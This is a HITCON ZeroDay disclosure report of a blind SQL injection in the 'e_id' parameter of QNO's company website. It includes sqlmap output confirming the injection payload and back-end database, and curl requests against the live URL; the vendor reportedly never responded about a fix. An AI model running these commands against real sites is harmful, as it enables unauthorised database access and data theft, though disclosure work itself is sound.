QNO 俠諾科技股份有限公司 官網 SQL Injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00020
  •  發信 Vendor: QNO 俠諾科技股份有限公司
  • Title: QNO 俠諾科技股份有限公司 官網 SQL Injection
  • Introduction: Boolean Based SQL Injection (Access)

處理狀態

目前狀態

公開
Last Update : 2025/03/20
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/01/04 19:00:23 : 新提交 (由 Steven Meow 更新此狀態)
  • 2025/01/08 18:34:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 12:31:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 12:31:17 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/01/17 12:31:17 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/03/20 03:04:41 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2025-00020
  • 通報者：stevenyu113228 (Steven Meow)
  • 風險：高
  • 類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

https://www.qno.com.tw/web/events_view.asp

敘述

Boolean Based Blind SQL Injection on "https://www.qno.com.tw/web/events_view.asp" with "e_id" parameter

圖片

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'https://www.qno.com.tw/web/events_view.asp?e_id=344' --random-agent --dbms access
        ___
       __H__                                                                                                                                                                                                 
 ___ ___[,]_____ ___ ___  {1.8.5#stable}                                                                                                                                                                     
|_ -| . [)]     | .'| . |                                                                                                                                                                                    
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:57:06 /2025-01-04/

[01:57:06] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[01:57:06] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCEDRQBRC=NLMJOGDAOKD...OCDIOJOJID'). Do you want to use those [Y/n] 

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: e_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: e_id=344 AND 6032=6032
---
[01:57:08] [INFO] testing Microsoft Access
[01:57:08] [INFO] confirming Microsoft Access
[01:57:08] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP, Microsoft IIS 7.5
back-end DBMS: Microsoft Access
[01:57:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/www.qno.com.tw'
[01:57:08] [WARNING] your sqlmap version is outdated

[*] ending @ 01:57:08 /2025-01-04/

圖片

┌──(kali㉿kali)-[~]
└─$ curl -I 'https://www.qno.com.tw/web/events_view.asp?e_id=344%20AND%209487=9487'
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 26901
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDCEDRQBRC=NINJOGDAGINIHMOAAJLMFJLN; secure; path=/
X-Powered-By: ASP.NET
Date: Sat, 04 Jan 2025 10:57:01 GMT

┌──(kali㉿kali)-[~]
└─$ curl -I 'https://www.qno.com.tw/web/events_view.asp?e_id=344%20AND%209487=9453'
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Length: 1135
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDCEDRQBRC=OINJOGDAHJEDIJCCNAFJKDFN; secure; path=/
X-Powered-By: ASP.NET
Date: Sat, 04 Jan 2025 10:57:04 GMT

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;